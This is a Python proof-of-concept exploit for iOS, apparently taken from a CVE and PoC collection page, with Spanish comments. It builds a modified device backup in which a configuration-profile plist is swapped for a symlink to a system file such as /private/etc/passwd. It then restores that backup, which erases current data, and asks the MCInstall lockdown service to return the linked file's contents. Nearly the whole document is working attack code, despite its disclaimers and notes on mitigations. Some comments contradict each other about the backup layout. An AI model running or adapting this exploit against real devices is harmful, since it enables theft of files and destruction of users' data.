4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / POC.py PY
#!/usr/bin/env python3

import os
import sys
import shutil
import subprocess
import tempfile
import plistlib
import time
import argparse
from packaging.version import parse as parse_version # Para comparar versiones

# Requisitos:
#  - idevicebackup2 (libimobiledevice)
#  - pip install usbmux-python python-lockdown packaging

try:
    from usbmux import Usbmux
    from lockdown import LockdownClient, LockdownError
except ImportError:
    print("ERROR: Faltan las librerías 'usbmux-python' o 'python-lockdown'.")
    print("Por favor, instálalas con: pip install usbmux-python python-lockdown packaging")
    sys.exit(1)

# --- Configuración y Constantes ---
DEFAULT_BACKUP_DIR = os.path.abspath("vulnerable_backup_analysis")
DEFAULT_TARGET_FILE = "/private/etc/passwd" # Ejemplo clásico, podría ser otro archivo para análisis
DEFAULT_PLIST_REL_PATH = (
    "SystemGroup/systemgroup.com.apple.configurationprofiles/"
    "Library/ConfigurationProfiles/CloudConfigurationDetails.plist"
)
# Versión de iOS a partir de la cual se considera que este vector específico está parchado
# (NOTA: "18.3" es una versión inusual, usado aquí por consistencia con el PoC original.
#  Normalmente serían versiones como "17.5", "18.0", etc. Apple parchó este tipo
#  de problemas con symlinks en ConfigurationProfiles en versiones anteriores a iOS 17)
PATCHED_IOS_VERSION = "18.3" # Ajustar según la vulnerabilidad específica documentada

# --- Logging y Funciones Auxiliares ---
def log_info(message):
    print(f"[INFO] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")

def log_error(message):
    print(f"[ERROR] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}", file=sys.stderr)

def log_success(message):
    print(f"[SUCCESS] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")

def log_command(cmd_list):
    print(f">>> CMD: {' '.join(cmd_list)}")

def run_command(cmd, **kwargs):
    log_command(cmd)
    try:
        proc = subprocess.run(cmd, check=True, capture_output=True, text=True, **kwargs)
        if proc.stdout:
            # log_info(f"Salida del comando:\n{proc.stdout.strip()}")
            pass # Descomentar si se desea ver toda la salida
        if proc.stderr:
            log_info(f"Salida de error del comando (si la hubo):\n{proc.stderr.strip()}")
        return proc
    except subprocess.CalledProcessError as e:
        log_error(f"El comando falló con código {e.returncode}")
        if e.stdout:
            log_error(f"Stdout:\n{e.stdout.strip()}")
        if e.stderr:
            log_error(f"Stderr:\n{e.stderr.strip()}")
        raise # Re-lanza la excepción para que sea manejada por el main

def check_dependencies():
    log_info("Verificando dependencia: idevicebackup2...")
    if shutil.which("idevicebackup2") is None:
        log_error("`idevicebackup2` no encontrado en el PATH. Asegúrate de que libimobiledevice esté instalado.")
        sys.exit(1)
    log_success("`idevicebackup2` encontrado.")

# --- Funciones Principales del Exploit ---

def get_device_info(lockdown_client):
    """Obtiene información del dispositivo, como la versión de iOS."""
    try:
        product_version = lockdown_client.get_value(None, 'ProductVersion')
        product_build = lockdown_client.get_value(None, 'ProductBuildVersion')
        device_name = lockdown_client.get_value(None, 'DeviceName')
        udid = lockdown_client.udid
        log_info(f"Dispositivo Conectado: {device_name} (UDID: {udid})")
        log_info(f"Versión de iOS: {product_version} (Build: {product_build})")
        return {"ProductVersion": product_version, "ProductBuildVersion": product_build}
    except LockdownError as e:
        log_error(f"No se pudo obtener información del dispositivo vía lockdown: {e}")
        return None

def check_ios_vulnerability(ios_version_str):
    """
    Comprueba si la versión de iOS conectada es potencialmente vulnerable.
    ADVERTENCIA: Este es un chequeo simple. La vulnerabilidad real puede depender
    de builds específicos o configuraciones no detectadas aquí.
    """
    if not ios_version_str:
        log_error("No se pudo determinar la versión de iOS para la comprobación de vulnerabilidad.")
        return False # Proceder con precaución

    try:
        # Comparamos versiones. Si la versión del dispositivo es MENOR que la parchada, es vulnerable.
        if parse_version(ios_version_str) < parse_version(PATCHED_IOS_VERSION):
            log_info(f"La versión de iOS {ios_version_str} es ANTERIOR a {PATCHED_IOS_VERSION} y podría ser vulnerable.")
            return True
        else:
            log_warning(f"La versión de iOS {ios_version_str} es IGUAL o POSTERIOR a {PATCHED_IOS_VERSION}.")
            log_warning("Este exploit probablemente NO FUNCIONARÁ. Apple corrige la manipulación de symlinks en ConfigurationProfiles.")
            # return False # Descomentar para detener la ejecución si se detecta parchado
            return True # Permitir continuar para fines de investigación, incluso si se espera que falle
    except Exception as e:
        log_error(f"Error al comparar versiones de iOS ('{ios_version_str}' vs '{PATCHED_IOS_VERSION}'): {e}")
        return False # En caso de error, ser conservador

def log_warning(message):
    print(f"[WARNING] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}")


def prepare_malicious_backup(backup_dir, target_file, plist_rel_path):
    log_info(f"Iniciando preparación de copia de seguridad modificada en: {backup_dir}")
    log_info(f"Archivo objetivo a exfiltrar: {target_file}")
    log_info(f"Ruta relativa del Plist a reemplazar: {plist_rel_path}")

    # 1. Limpiar directorio de copia de seguridad previo
    if os.path.isdir(backup_dir):
        log_info(f"Eliminando directorio de copia de seguridad existente: {backup_dir}")
        try:
            shutil.rmtree(backup_dir)
        except OSError as e:
            log_error(f"No se pudo eliminar {backup_dir}: {e}. Verifica los permisos o archivos en uso.")
            sys.exit(1)
    try:
        os.makedirs(backup_dir, exist_ok=True)
    except OSError as e:
        log_error(f"No se pudo crear {backup_dir}: {e}")
        sys.exit(1)

    # 2. Generar copia de seguridad limpia inicial
    log_info("Generando copia de seguridad base del dispositivo...")
    run_command(["idevicebackup2", "backup", "--full", backup_dir]) # --full para asegurar que todo esté
    log_success("Copia de seguridad base generada.")

    # 3. Cargar Manifest.plist para encontrar el hash del fichero plist
    manifest_path = os.path.join(backup_dir, "Manifest.plist")
    if not os.path.exists(manifest_path):
        log_error(f"Manifest.plist no encontrado en {backup_dir}. La copia de seguridad falló o está incompleta.")
        sys.exit(1)

    log_info(f"Cargando Manifest.plist desde: {manifest_path}")
    with open(manifest_path, "rb") as f:
        manifest = plistlib.load(f)

    # Buscar la entrada cuyo 'RelativePath' coincide con PLIST_REL_PATH
    # El Manifest.plist almacena los archivos con un hash como nombre de archivo.
    # Necesitamos encontrar ese hash para el archivo que queremos reemplazar.
    target_hash = None
    target_entry_details = None # Para loguear más info
    for file_hash, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items():
        if isinstance(entry, dict) and entry.get("RelativePath") == plist_rel_path:
            target_hash = entry.get("File") # A veces el hash está en 'File', otras es la key
            if not target_hash: # Si 'File' no existe o está vacío, el hash es la clave del dict
                target_hash = file_hash
            target_entry_details = entry
            break

    if not target_hash:
        log_error(f"No se pudo localizar '{plist_rel_path}' en Manifest.plist.")
        log_error("Posibles razones: la ruta es incorrecta, el archivo no existe en este iOS, o el Manifest.plist tiene una estructura inesperada.")
        log_info("Archivos disponibles en el manifiesto (primeros 10):")
        count = 0
        for _, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items():
            if isinstance(entry, dict) and "RelativePath" in entry:
                log_info(f"  - {entry['RelativePath']}")
                count +=1
            if count >=10: break
        sys.exit(1)

    log_success(f"Encontrado '{plist_rel_path}'. Hash del archivo en copia de seguridad: {target_hash}")
    if target_entry_details:
        log_info(f"Detalles de la entrada del manifiesto: {target_entry_details}")


    # 4. Sustituir el fichero por un symlink
    # La estructura de la copia de seguridad suele ser: Backup/<UDID>/Manifest/Data/<hash>
    # Aunque idevicebackup2 podría variar, normalmente los datos están en subdirectorios basados en los dos primeros caracteres del hash.
    # Ejemplo: si hash es 'abcdef123...', el archivo es 'ab/abcdef123...'
    # El Manifest.plist en sí mismo no siempre tiene el path directo, el 'File' es el ID.
    # El archivo real estará en un subdirectorio (ej. 'Data/<primeros dos caracteres del hash>/<hash completo>')
    # o directamente si el hash no se usa para crear subdirectorios en la implementación de backup.
    # Para idevicebackup2, la estructura parece ser más simple: <BackupDir>/<hash_sin_subdirs_en_data_o_manifest>
    # El script original busca en `Manifest/Data/target_hash`. Verifiquemos esto.
    # El path correcto es: <BACKUP_DIR>/<hash_del_fichero_sin_extension> (el nombre del fichero en el backup es el hash)
    # Los ficheros se almacenan directamente en BACKUP_DIR con su hash como nombre, sin un subdirectorio "Data" o "Manifest" intermedio para los datos en sí.
    # El Manifest.plist sí está en la raíz. Los archivos de datos están por hash en la misma raíz.
    # Corrección: `idevicebackup2` almacena los archivos con nombres de archivo que son sus hashes SHA1,
    # directamente dentro del directorio de backup (o en subdirectorios si el backup es muy grande y usa el formato " oggetti").
    # Sin embargo, `Manifest.plist` lista `File` como el identificador. El PoC original busca en `<BACKUP_DIR>/Manifest/Data/<target_hash>`.
    # Este path puede variar según la herramienta de backup. `idevicebackup2` suele tener una estructura donde el hash es el nombre del archivo.
    # Vamos a asumir que el script original era correcto para su versión de libimobiledevice y formato de backup.
    # Si `target_hash` incluye un path (ej. "ab/abcdef..."), `os.path.join` lo manejará.
    # Generalmente, los archivos están en directorios nombrados con los dos primeros caracteres de su hash.
    # Ej: <BACKUP_DIR>/<UDID>/<hash_primeros_2_chars>/<hash_completo>

    # El path para los datos en sí, según el manifiesto, no está directamente allí.
    # `target_hash` es el nombre del archivo tal como se almacena.
    # Si los archivos se almacenan en subdirectorios basados en los dos primeros caracteres de su hash:
    file_to_replace_path = os.path.join(backup_dir, target_hash[:2], target_hash)
    if not os.path.exists(file_to_replace_path):
        # Si no está en un subdirectorio, quizás está directamente (menos común para backups grandes)
        file_to_replace_path = os.path.join(backup_dir, target_hash)
        if not os.path.exists(file_to_replace_path):
            # El PoC original usaba 'Manifest/Data/target_hash' que parece incorrecto para idevicebackup2 moderno.
            # Es más probable que los archivos estén en la raíz del backup nombrado por su hash, o en subdirs <hash_prefix>/<hash>
            # Vamos a re-evaluar la estructura típica de un backup hecho con idevicebackup2.
            # Un `Manifest.plist` y un `Info.plist` están en la raíz. Los archivos de datos están nombrados por su hash SHA1
            # y ubicados en subdirectorios nombrados con los dos primeros caracteres de su hash.
            # Ejemplo: si el hash es 'ff[...]'. El archivo estará en 'ff/ff[...]' dentro del directorio del backup.
            log_error(f"No se encontró el archivo de datos con hash '{target_hash}' en la estructura esperada ({file_to_replace_path} o similar).")
            log_error("La estructura del backup podría haber cambiado o el hash es incorrecto.")
            log_error("Contenido del directorio de backup:")
            for item in os.listdir(backup_dir):
                log_info(f"  - {item}")
            sys.exit(1)


    log_info(f"Archivo de datos a reemplazar encontrado en: {file_to_replace_path}")
    log_info(f"Eliminando archivo original: {file_to_replace_path}")
    try:
        os.remove(file_to_replace_path)
    except OSError as e:
        log_error(f"No se pudo eliminar {file_to_replace_path}: {e}")
        sys.exit(1)

    log_info(f"Creando symlink desde {file_to_replace_path} -> {target_file}")
    try:
        # En el contexto de la restauración, el symlink se interpreta DESDE el dispositivo.
        # Por lo tanto, el target_file (ej: /etc/passwd) debe ser una ruta absoluta EN EL DISPOSITIVO.
        os.symlink(target_file, file_to_replace_path)
    except OSError as e:
        log_error(f"No se pudo crear el symlink: {e}")
        sys.exit(1)
    log_success(f"Symlink creado exitosamente: {file_to_replace_path} -> {target_file}")
    log_info("Symlink creado en la copia de seguridad local. Durante la restauración, iOS interpretará este symlink en su propio sistema de archivos.")

    # 5. (Opcional) Actualizar tamaño y checksum en el manifest
    # Como dice el PoC original, `idevicebackup2` suele regenerar estas entradas al restaurar,
    # así que normalmente no es necesario. Manipular el Manifest.plist incorrectamente podría corromper la copia.
    # MITIGACIÓN DE APPLE: Apple podría verificar la integridad de los archivos contra el Manifest.plist
    # y, más importante, sanear los symlinks durante la restauración, especialmente aquellos que apuntan
    # a rutas sensibles o fuera de los directorios esperados de la aplicación/perfil.
    # También podrían validar que el archivo `CloudConfigurationDetails.plist` sea un plist válido y no un symlink.
    log_info("Preparación de la copia de seguridad modificada completada.")


def restore_modified_backup(backup_dir, udid=None):
    log_info(f"Iniciando restauración de la copia de seguridad modificada desde: {backup_dir}")
    log_warning("ADVERTENCIA: Esto restaurará el dispositivo al estado de la copia de seguridad. TODOS LOS DATOS ACTUALES EN EL DISPOSITIVO SE PERDERÁN.")
    log_warning("Asegúrate de que el dispositivo esté desbloqueado y confíe en este ordenador.")
    # input("Presiona Enter para continuar con la restauración, o Ctrl+C para abortar...")

    cmd = ["idevicebackup2"]
    if udid:
        cmd.extend(["-u", udid])
    cmd.extend(["restore", "--system", "--reboot", "--copy", backup_dir])
    # Opciones de restauración:
    # --system: restaura también los archivos del sistema.
    # --reboot: reinicia el dispositivo después de la restauración.
    # --copy: usa el directorio de backup tal cual.
    # Es importante que la copia de seguridad sea compatible con el dispositivo y la versión de iOS.
    # Una restauración de una copia de seguridad de una versión muy diferente de iOS puede fallar.

    log_info("Restaurando la copia de seguridad modificada. Esto puede tardar varios minutos...")
    run_command(cmd)
    log_success("Restauración completada (o iniciada, el dispositivo se reiniciará).")
    log_info("El dispositivo se reiniciará. Espera a que el sistema se estabilice.")


def trigger_exploit_via_lockdown(target_file, udid_to_use=None):
    log_info("Intentando explotar la vulnerabilidad a través del servicio lockdown...")
    log_info("Esperando a que el dispositivo se reinicie y los servicios estén disponibles (aprox. 60-120 segundos)...")
    # El tiempo de espera puede necesitar ajuste.
    # Un reinicio completo y la inicialización de servicios pueden tardar.
    time.sleep(90) # Aumentado el tiempo de espera

    mux = None
    lockdown_conn = None
    mc_conn = None

    try:
        log_info("Conectando a usbmuxd...")
        mux = Usbmux()
        devices = mux.get_device_list()

        if not devices:
            log_error("No se detectaron dispositivos iOS conectados vía USB.")
            return

        if udid_to_use:
            device = next((d for d in devices if d.get("UDID") == udid_to_use), None)
            if not device:
                log_error(f"No se encontró el dispositivo con UDID {udid_to_use}.")
                log_info(f"Dispositivos disponibles: {devices}")
                return
        elif len(devices) == 1:
            device = devices[0]
            log_info(f"Detectado un único dispositivo: {device.get('UDID')}")
        else:
            log_error("Múltiples dispositivos conectados. Por favor, especifica el UDID con --udid.")
            log_info(f"Dispositivos disponibles: {[d.get('UDID') for d in devices]}")
            return

        udid = device["UDID"]
        log_info(f"Estableciendo conexión con el dispositivo: {udid}")

        # Conectar al servicio lockdown
        # El puerto 44 es interno de usbmuxd, no el puerto de lockdown del dispositivo.
        # Usualmente se conecta al servicio 'com.apple.mobile.lockdown' a través de usbmuxd que asigna un puerto.
        # La librería python-lockdown maneja esto.
        log_info("Conectando a Lockdown service...")
        client = LockdownClient(udid=udid) # LockdownClient maneja la conexión vía usbmux
        
        # Obtener información del dispositivo y comprobar vulnerabilidad
        device_info = get_device_info(client)
        if device_info and device_info.get("ProductVersion"):
            if not check_ios_vulnerability(device_info["ProductVersion"]):
                # Se muestra una advertencia en check_ios_vulnerability, pero podríamos detenernos aquí.
                # log_warning("El exploit podría no funcionar en esta versión de iOS.")
                # return # Comentar si se quiere intentar de todas formas
                pass


        # Iniciar el servicio MCInstall (MobileConfigurationInstall)
        # Este servicio es el que se engañará para que lea el symlink.
        log_info("Solicitando inicio del servicio 'com.apple.mobile.MCInstall'...")
        mc_service_info = client.start_service("com.apple.mobile.MCInstall")
        if not mc_service_info or "Port" not in mc_service_info:
            log_error("No se pudo iniciar el servicio 'com.apple.mobile.MCInstall' o no se obtuvo el puerto.")
            log_error(f"Respuesta de start_service: {mc_service_info}")
            return

        mc_port = mc_service_info["Port"]
        log_info(f"Servicio 'com.apple.mobile.MCInstall' iniciado en el puerto: {mc_port}")

        # Conectar directamente al servicio MCInstall en el puerto obtenido
        # Se necesita una nueva conexión usbmux para este puerto específico.
        log_info(f"Conectando al servicio MCInstall en el puerto {mc_port}...")
        mc_conn = mux.connect(udid, mc_port) # Usar el UDID y el puerto del servicio
        mc_client = LockdownClient(mc_conn, is_trusted_connection=True) # Reutilizar LockdownClient para enviar mensajes plist

        # Enviar el comando GetCloudConfiguration
        # Este comando normalmente lee `CloudConfigurationDetails.plist`.
        # Debido a nuestro symlink, leerá `target_file`.
        log_info("Enviando comando 'GetCloudConfiguration' al servicio MCInstall...")
        # El comando no requiere argumentos.
        # La respuesta esperada es un plist que contiene 'FileData' con el contenido del archivo.
        response_plist = mc_client.send({"Request": "GetCloudConfiguration"})

        if not response_plist:
            log_error("No se recibió respuesta del servicio MCInstall al comando GetCloudConfiguration.")
            return

        log_info(f"Respuesta recibida de GetCloudConfiguration: {response_plist}") # Loguear toda la respuesta

        # MITIGACIÓN DE APPLE: El servicio MCInstall podría verificar si el archivo que está leyendo
        # es realmente un plist y no un archivo de tipo inesperado, o si es un symlink.
        # También podría estar sandboxed para no poder seguir symlinks fuera de su directorio esperado.

        file_data = response_plist.get("FileData")
        if file_data:
            # FileData suele ser bytes, decodificar a string.
            # Usar 'replace' para errores de decodificación si el archivo no es texto puro.
            try:
                content = file_data.decode("utf-8", errors="replace")
                log_success(f"¡ÉXITO! Contenido de '{target_file}' leído del dispositivo:")
                print("-" * 70)
                print(content)
                print("-" * 70)
            except AttributeError: # Si FileData no es bytes (ej. ya es string o None)
                log_error(f"FileData no es del tipo bytes, es {type(file_data)}. Contenido: {file_data}")
            except Exception as e:
                log_error(f"Error al decodificar FileData: {e}")
                log_info(f"FileData (raw bytes, primeros 200): {file_data[:200] if isinstance(file_data, bytes) else file_data}")

        else:
            log_error(f"No se encontró 'FileData' en la respuesta de GetCloudConfiguration.")
            log_error("El exploit podría haber fallado. Razones posibles:")
            log_error("  - La versión de iOS está parchada y el symlink fue ignorado o eliminado.")
            log_error("  - El servicio MCInstall tiene protecciones adicionales (sandboxing, validación de tipo de archivo).")
            log_error("  - El archivo CloudConfigurationDetails.plist original no existía y el symlink no se pudo resolver correctamente.")
            log_error("  - Problemas de permisos para leer el archivo objetivo.")

    except LockdownError as e:
        log_error(f"Error de Lockdown: {e}")
        log_error("Asegúrate de que el dispositivo confíe en el ordenador y no esté bloqueado con contraseña.")
    except ConnectionRefusedError as e:
        log_error(f"Conexión rechazada: {e}. ¿Está usbmuxd corriendo? ¿Está el dispositivo conectado y disponible?")
    except Exception as e:
        log_error(f"Error inesperado durante la fase de explotación: {e}")
        import traceback
        traceback.print_exc()
    finally:
        log_info("Cerrando conexiones...")
        if mc_conn:
            try:
                mc_conn.close()
            except Exception as e_close:
                log_warning(f"Error cerrando conexión a MCInstall: {e_close}")
        # La conexión principal de LockdownClient (client) se cierra automáticamente al salir del contexto,
        # o si se usó `with LockdownClient(...) as client:`
        # Si no, client.close() sería necesario si se quiere ser explícito.
        # mux no tiene un método close explícito en la librería usbmux-python tal como se usa aquí.

def main():
    parser = argparse.ArgumentParser(
        description="PoC para exfiltración de archivos en iOS vía manipulación de backup y servicio MCInstall.",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""
        ADVERTENCIA ÉTICA Y LEGAL:
        Este script es una Prueba de Concepto (PoC) con fines educativos y de investigación en seguridad.
        NO UTILICES este script en dispositivos para los que no tengas autorización explícita.
        El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.
        El autor/proveedor de este script no se hace responsable del mal uso.

        MITIGACIÓN DE APPLE:
        Apple ha implementado varias mitigaciones contra este tipo de ataques, incluyendo:
        1. Saneamiento de symlinks durante la restauración de copias de seguridad (no se restauran o se resuelven de forma segura).
        2. Sandboxing más estricto de los servicios del sistema como MCInstall.
        3. Verificación del tipo de archivo y contenido esperado antes de procesar archivos de configuración.
        Este PoC asume una versión de iOS vulnerable (< 18.3 según el PoC original, pero en realidad
        este tipo de vulnerabilidades fueron parchadas mucho antes).
        """
    )
    parser.add_argument(
        "--backup-dir",
        default=DEFAULT_BACKUP_DIR,
        help=f"Directorio para la copia de seguridad maliciosa (default: {DEFAULT_BACKUP_DIR})"
    )
    parser.add_argument(
        "--target-file",
        default=DEFAULT_TARGET_FILE,
        help=f"Archivo absoluto en el dispositivo a exfiltrar (default: {DEFAULT_TARGET_FILE})"
    )
    parser.add_argument(
        "--plist-rel-path",
        default=DEFAULT_PLIST_REL_PATH,
        help=f"Ruta relativa del plist a reemplazar en la copia de seguridad (default: {DEFAULT_PLIST_REL_PATH})"
    )
    parser.add_argument(
        "--udid",
        default=None,
        help="UDID del dispositivo objetivo si hay múltiples dispositivos conectados."
    )
    parser.add_argument(
        "--skip-backup",
        action="store_true",
        help="Omitir la fase de preparación y restauración de la copia de seguridad (asume que ya se hizo)."
    )
    parser.add_argument(
        "--skip-exploit",
        action="store_true",
        help="Omitir la fase de explotación (solo preparar y restaurar la copia de seguridad)."
    )
    parser.add_argument(
        "--patched-ios-version",
        default=PATCHED_IOS_VERSION,
        help=f"Versión de iOS a partir de la cual se considera parchado (default: {PATCHED_IOS_VERSION})"
    )

    args = parser.parse_args()
    
    # Actualizar la constante global si se proporciona desde CLI
    global PATCHED_IOS_VERSION
    PATCHED_IOS_VERSION = args.patched_ios_version

    check_dependencies()

    # Imprimir advertencia inicial
    log_warning("=" * 70)
    log_warning("ADVERTENCIA: Este script es una Prueba de Concepto (PoC).")
    log_warning("Su uso indebido puede tener consecuencias legales y éticas.")
    log_warning("Úsalo de forma responsable y solo en dispositivos con autorización.")
    log_warning("Este script modificará una copia de seguridad y la restaurará en un dispositivo,")
    log_warning("lo que implica la PÉRDIDA DE DATOS ACTUALES en el dispositivo.")
    log_warning("=" * 70)
    # input("Presiona Enter si entiendes los riesgos y deseas continuar, o Ctrl+C para abortar...")


    udid_to_use = args.udid
    # Si no se especifica UDID, intentar obtenerlo para la restauración si solo hay un dispositivo.
    if not udid_to_use and not args.skip_backup : # Solo necesario si vamos a hacer backup/restore
        try:
            mux_temp = Usbmux()
            devices_temp = mux_temp.get_device_list()
            if len(devices_temp) == 1:
                udid_to_use = devices_temp[0]["UDID"]
                log_info(f"Detectado automáticamente UDID: {udid_to_use} para backup/restore.")
            elif len(devices_temp) > 1 and (not args.skip_backup or not args.skip_exploit):
                 log_error("Múltiples dispositivos conectados y no se especificó UDID. Usa --udid.")
                 sys.exit(1)
            elif not devices_temp and (not args.skip_backup or not args.skip_exploit):
                log_error("No hay dispositivos conectados.")
                sys.exit(1)
        except Exception as e:
            log_warning(f"No se pudo autodetectar UDID: {e}. Si la operación falla, especifícalo con --udid.")


    try:
        if not args.skip_backup:
            log_info("==> Fase 1: Preparando copia de seguridad maliciosa…")
            prepare_malicious_backup(args.backup_dir, args.target_file, args.plist_rel_path)

            log_info("==> Fase 2: Restaurando copia de seguridad modificada…")
            restore_modified_backup(args.backup_dir, udid_to_use)
            log_info("El dispositivo se está reiniciando. La explotación comenzará después de una pausa.")
        else:
            log_info("==> Omitiendo preparación y restauración de copia de seguridad según lo solicitado.")

        if not args.skip_exploit:
            log_info("==> Fase 3: Explotando vía lockdown…")
            trigger_exploit_via_lockdown(args.target_file, udid_to_use)
        else:
            log_info("==> Omitiendo fase de explotación según lo solicitado.")

        log_success("Proceso completado.")

    except subprocess.CalledProcessError:
        # El error ya fue logueado por run_command
        log_error("Una operación de subproceso falló. Revisa los logs anteriores.")
        sys.exit(1)
    except Exception as e:
        log_error(f"ERROR INESPERADO en la ejecución principal: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == "__main__":
    main()